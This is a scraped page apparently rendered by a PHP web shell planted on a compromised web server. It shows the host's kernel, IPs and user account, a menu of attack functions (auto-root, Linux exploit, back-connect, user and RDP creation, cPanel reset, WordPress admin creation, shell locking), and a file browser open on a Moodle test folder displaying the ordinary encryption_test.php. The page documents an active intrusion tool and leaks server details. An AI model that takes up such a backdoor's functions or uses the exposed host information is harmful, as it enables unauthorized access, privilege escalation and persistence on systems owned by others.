Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.131.102
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
analytics
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxr-xr-x
content
[ DIR ]
drwxr-xr-x
event
[ DIR ]
drwxr-xr-x
external
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
other
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
performance
[ DIR ]
drwxr-xr-x
plugininfo
[ DIR ]
drwxr-xr-x
accesslib_has_capability_test....
29.73
KB
-rw-rw-r--
accesslib_test.php
219.29
KB
-rw-rw-r--
adhoc_task_test.php
18.44
KB
-rw-rw-r--
adminlib_test.php
4.38
KB
-rw-rw-r--
admintree_test.php
17.32
KB
-rw-r--r--
ajaxlib_test.php
4.36
KB
-rw-rw-r--
analysers_test.php
12.95
KB
-rw-r--r--
antivirus_test.php
8.69
KB
-rw-rw-r--
authlib_test.php
19.91
KB
-rw-r--r--
blocklib_test.php
35.27
KB
-rw-rw-r--
calendar_cron_task_test.php
2.69
KB
-rw-rw-r--
check_test.php
1.97
KB
-rw-r--r--
client_test.php
4.34
KB
-rw-r--r--
collator_test.php
11.99
KB
-rw-r--r--
completion_daily_task_test.php
5.24
KB
-rw-r--r--
completionlib_test.php
62.1
KB
-rw-rw-r--
component_test.php
40.17
KB
-rw-rw-r--
componentlib_test.php
6.64
KB
-rw-r--r--
configonlylib_test.php
6.15
KB
-rw-r--r--
content_test.php
4.77
KB
-rw-r--r--
core_media_player_native_test....
6.54
KB
-rw-r--r--
core_renderer_template_exploit...
17.28
KB
-rw-r--r--
coverage.php
1.93
KB
-rw-rw-r--
cronlib_test.php
6.89
KB
-rw-r--r--
csslib_test.php
1.79
KB
-rw-r--r--
csvclass_test.php
5.57
KB
-rw-r--r--
curl_security_helper_test.php
14.71
KB
-rw-r--r--
customcontext_test.php
3.79
KB
-rw-r--r--
dataformat_test.php
3.74
KB
-rw-r--r--
datalib_test.php
47.8
KB
-rw-r--r--
datalib_update_with_unique_ind...
6.31
KB
-rw-r--r--
date_legacy_test.php
13.9
KB
-rw-r--r--
date_test.php
24.48
KB
-rw-rw-r--
editorlib_test.php
2.01
KB
-rw-r--r--
encryption_test.php
8.68
KB
-rw-r--r--
environment_test.php
8.54
KB
-rw-r--r--
event_context_locked_test.php
4.11
KB
-rw-r--r--
event_course_module_instance_l...
2.7
KB
-rw-r--r--
event_course_module_viewed.php
3.33
KB
-rw-r--r--
event_deprecated_test.php
1.49
KB
-rw-r--r--
event_grade_deleted_test.php
3.25
KB
-rw-r--r--
event_profile_field_test.php
12.44
KB
-rw-r--r--
event_unknown_logged_test.php
1.92
KB
-rw-r--r--
event_user_graded_test.php
10.07
KB
-rw-r--r--
event_user_password_updated_te...
2.89
KB
-rw-r--r--
exporter_test.php
11.02
KB
-rw-r--r--
externallib_test.php
29.7
KB
-rw-r--r--
filelib_test.php
70.92
KB
-rw-rw-r--
filestorage_zip_archive_test.p...
2.75
KB
-rw-r--r--
filetypes_test.php
10.2
KB
-rw-r--r--
filter_manager_test.php
3.48
KB
-rw-r--r--
filterlib_test.php
36.72
KB
-rw-r--r--
formslib_test.php
39.6
KB
-rw-r--r--
gdlib_test.php
5.92
KB
-rw-r--r--
googlelib_test.php
1.54
KB
-rw-r--r--
gradelib_test.php
9.74
KB
-rw-r--r--
grades_externallib_test.php
24.66
KB
-rw-rw-r--
grading_externallib_test.php
26.27
KB
-rw-r--r--
grouplib_test.php
84.23
KB
-rw-rw-r--
h5p_clean_orphaned_records_tas...
3.12
KB
-rw-r--r--
h5p_get_content_types_task_tes...
2.69
KB
-rw-r--r--
html2text_test.php
7.58
KB
-rw-r--r--
html_writer_test.php
8.74
KB
-rw-rw-r--
htmlpurifier_test.php
22.67
KB
-rw-r--r--
ip_utils_test.php
14.27
KB
-rw-r--r--
jquery_test.php
1.76
KB
-rw-r--r--
ldaplib_test.php
17.72
KB
-rw-r--r--
licenselib_test.php
11.58
KB
-rw-r--r--
lock_config_test.php
3.39
KB
-rw-r--r--
lock_test.php
5.5
KB
-rw-r--r--
markdown_test.php
2.45
KB
-rw-r--r--
mathslib_test.php
11.12
KB
-rw-r--r--
medialib_test.php
20.19
KB
-rw-rw-r--
message_test.php
12.46
KB
-rw-rw-r--
messageinbound_test.php
5.89
KB
-rw-r--r--
messagelib_test.php
56.39
KB
-rw-rw-r--
minify_test.php
3.14
KB
-rw-r--r--
modinfolib_test.php
44.15
KB
-rw-rw-r--
moodle_page_test.php
29.58
KB
-rw-rw-r--
moodle_url_test.php
12.85
KB
-rw-r--r--
moodlelib_test.php
216.85
KB
-rw-rw-r--
mustache_template_finder_test....
7.4
KB
-rw-r--r--
mustache_template_source_loade...
18.06
KB
-rw-r--r--
myprofilelib_test.php
10.44
KB
-rw-r--r--
navigationlib_test.php
26.28
KB
-rw-rw-r--
notification_test.php
4.61
KB
-rw-r--r--
oauth2_test.php
17.57
KB
-rw-r--r--
output_mustache_helper_collect...
8.09
KB
-rw-r--r--
outputcomponents_test.php
29.67
KB
-rw-r--r--
outputfactories_test.php
6.8
KB
-rw-r--r--
outputrequirementslib_test.php
5.38
KB
-rw-r--r--
pdflib_test.php
1.51
KB
-rw-r--r--
persistent_test.php
19.95
KB
-rw-rw-r--
plugin_manager_test.php
27.39
KB
-rw-r--r--
portfoliolib_test.php
8.4
KB
-rw-r--r--
progress_display_test.php
3.75
KB
-rw-r--r--
progress_test.php
14.48
KB
-rw-r--r--
qrcode_test.php
1.88
KB
-rw-r--r--
questionlib_test.php
96.9
KB
-rw-rw-r--
regex_test.php
1.88
KB
-rw-r--r--
report_helper_test.php
3.68
KB
-rw-rw-r--
requirejs_test.php
3.73
KB
-rw-r--r--
rsslib_test.php
6.9
KB
-rw-r--r--
rtlcss_test.php
56.86
KB
-rw-r--r--
sample_questions.ser
141.76
KB
-rw-r--r--
sample_questions.xml
102.62
KB
-rw-r--r--
sample_questions_with_old_imag...
4.85
KB
-rw-r--r--
sample_questions_with_old_imag...
4.08
KB
-rw-r--r--
sample_questions_wrong.xml
102.57
KB
-rw-r--r--
scheduled_task_test.php
29.98
KB
-rw-rw-r--
scss_test.php
4.26
KB
-rw-r--r--
session_manager_test.php
33.96
KB
-rw-r--r--
session_redis_test.php
13.27
KB
-rw-r--r--
sessionlib_test.php
11.86
KB
-rw-r--r--
setuplib_test.php
19.63
KB
-rw-r--r--
statslib_test.php
26.75
KB
-rw-r--r--
string_manager_standard_test.p...
10.05
KB
-rw-rw-r--
tablelib_test.php
23.53
KB
-rw-r--r--
task_database_logger_test.php
20.15
KB
-rw-r--r--
task_logging_test.php
17.31
KB
-rw-r--r--
task_manager_test.php
11.2
KB
-rw-r--r--
task_running_test.php
6.58
KB
-rw-r--r--
text_test.php
21.09
KB
-rw-rw-r--
theme_config_test.php
9.81
KB
-rw-rw-r--
time_splittings_test.php
15.09
KB
-rw-r--r--
update_api_test.php
6.75
KB
-rw-r--r--
update_checker_test.php
10.86
KB
-rw-r--r--
update_code_manager_test.php
9.06
KB
-rw-r--r--
update_validator_test.php
18.44
KB
-rw-r--r--
upgrade_util_test.php
5.65
KB
-rw-r--r--
upgradelib_test.php
69.1
KB
-rw-rw-r--
user_menu_test.php
3.82
KB
-rw-rw-r--
user_test.php
32.36
KB
-rw-rw-r--
useragent_test.php
83.88
KB
-rw-rw-r--
weblib_format_text_test.php
12.11
KB
-rw-r--r--
weblib_test.php
35.1
KB
-rw-rw-r--
xhprof_test.php
3.32
KB
-rw-r--r--
xhtml_container_stack_test.php
4.16
KB
-rw-r--r--
xmlize_test.php
2.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : encryption_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Test encryption. * * @package core * @copyright 2020 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core; /** * Test encryption. * * @package core * @copyright 2020 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class encryption_test extends \basic_testcase { /** * Clear junk created by tests. */ protected function tearDown(): void { global $CFG; $keyfile = encryption::get_key_file(encryption::METHOD_OPENSSL); if (file_exists($keyfile)) { chmod($keyfile, 0700); } $keyfile = encryption::get_key_file(encryption::METHOD_SODIUM); if (file_exists($keyfile)) { chmod($keyfile, 0700); } remove_dir($CFG->dataroot . '/secret'); unset($CFG->nokeygeneration); } protected function setUp(): void { $this->tearDown(); require_once(__DIR__ . '/fixtures/testable_encryption.php'); } /** * Tests using Sodium need to check the extension is available. * * @param string $method Encryption method */ protected function require_sodium(string $method) { if ($method == encryption::METHOD_SODIUM) { if (!encryption::is_sodium_installed()) { $this->markTestSkipped('Sodium not installed'); } } } /** * Many of the tests work with both encryption methods. * * @return array[] Array of method options for test */ public function encryption_method_provider(): array { return ['Sodium' => [encryption::METHOD_SODIUM], 'OpenSSL' => [encryption::METHOD_OPENSSL]]; } /** * Tests the create_keys and get_key functions. * * @param string $method Encryption method * @dataProvider encryption_method_provider */ public function test_create_key(string $method): void { $this->require_sodium($method); encryption::create_key($method); $key = testable_encryption::get_key($method); // Conveniently, both encryption methods have the same key length. $this->assertEquals(32, strlen($key)); $this->expectExceptionMessage('Key already exists'); encryption::create_key($method); } /** * Tests encryption and decryption with empty strings. * * @throws \moodle_exception */ public function test_encrypt_and_decrypt_empty(): void { $this->assertEquals('', encryption::encrypt('')); $this->assertEquals('', encryption::decrypt('')); } /** * Tests encryption when the keys weren't created yet. * * @param string $method Encryption method * @dataProvider encryption_method_provider */ public function test_encrypt_nokeys(string $method): void { global $CFG; $this->require_sodium($method); // Prevent automatic generation of keys. $CFG->nokeygeneration = true; $this->expectExceptionMessage('Key not found'); encryption::encrypt('frogs', $method); } /** * Tests decryption when the data has a different encryption method */ public function test_decrypt_wrongmethod(): void { $this->expectExceptionMessage('Data does not match a supported encryption method'); encryption::decrypt('FAKE-CIPHER-METHOD:xx'); } /** * Tests decryption when not enough data is supplied to get the IV and some data. * * @dataProvider encryption_method_provider * @param string $method Encryption method */ public function test_decrypt_tooshort(string $method): void { $this->require_sodium($method); $this->expectExceptionMessage('Insufficient data'); switch ($method) { case encryption::METHOD_OPENSSL: // It needs min 49 bytes (16 bytes IV + 32 bytes HMAC + 1 byte data). $justtooshort = '0123456789abcdef0123456789abcdef0123456789abcdef'; break; case encryption::METHOD_SODIUM: // Sodium needs 25 bytes at least as far as our code is concerned (24 bytes IV + 1 // byte data); it splits out any authentication hashes itself. $justtooshort = '0123456789abcdef01234567'; break; } encryption::decrypt($method . ':' .base64_encode($justtooshort)); } /** * Tests decryption when data is not valid base64. * * @dataProvider encryption_method_provider * @param string $method Encryption method */ public function test_decrypt_notbase64(string $method): void { $this->require_sodium($method); $this->expectExceptionMessage('Invalid base64 data'); encryption::decrypt($method . ':' . chr(160)); } /** * Tests decryption when the keys weren't created yet. * * @dataProvider encryption_method_provider * @param string $method Encryption method */ public function test_decrypt_nokeys(string $method): void { global $CFG; $this->require_sodium($method); // Prevent automatic generation of keys. $CFG->nokeygeneration = true; $this->expectExceptionMessage('Key not found'); encryption::decrypt($method . ':' . base64_encode( '0123456789abcdef0123456789abcdef0123456789abcdef0')); } /** * Test automatic generation of keys when needed. * * @dataProvider encryption_method_provider * @param string $method Encryption method */ public function test_auto_key_generation(string $method): void { $this->require_sodium($method); // Allow automatic generation (default). $encrypted = encryption::encrypt('frogs', $method); $this->assertEquals('frogs', encryption::decrypt($encrypted)); } /** * Checks that invalid key causes failures. * * @dataProvider encryption_method_provider * @param string $method Encryption method */ public function test_invalid_key(string $method): void { global $CFG; $this->require_sodium($method); // Set the key to something bogus. $folder = $CFG->dataroot . '/secret/key'; check_dir_exists($folder); file_put_contents(encryption::get_key_file($method), 'silly'); switch ($method) { case encryption::METHOD_SODIUM: $this->expectExceptionMessageMatches('/(should|must) be SODIUM_CRYPTO_SECRETBOX_KEYBYTES bytes/'); break; case encryption::METHOD_OPENSSL: $this->expectExceptionMessage('Invalid key'); break; } encryption::encrypt('frogs', $method); } /** * Checks that modified data causes failures. * * @dataProvider encryption_method_provider * @param string $method Encryption method */ public function test_modified_data(string $method): void { $this->require_sodium($method); $encrypted = encryption::encrypt('frogs', $method); $mainbit = base64_decode(substr($encrypted, strlen($method) + 1)); $mainbit = substr($mainbit, 0, 16) . 'X' . substr($mainbit, 16); $encrypted = $method . ':' . base64_encode($mainbit); $this->expectExceptionMessage('Integrity check failed'); encryption::decrypt($encrypted); } /** * Tests encryption and decryption for real. * * @dataProvider encryption_method_provider * @param string $method Encryption method * @throws \moodle_exception */ public function test_encrypt_and_decrypt_realdata(string $method): void { $this->require_sodium($method); // Encrypt short string. $encrypted = encryption::encrypt('frogs', $method); $this->assertNotEquals('frogs', $encrypted); $this->assertEquals('frogs', encryption::decrypt($encrypted)); // Encrypt really long string (1 MB). $long = str_repeat('X', 1024 * 1024); $this->assertEquals($long, encryption::decrypt(encryption::encrypt($long, $method))); } }
Close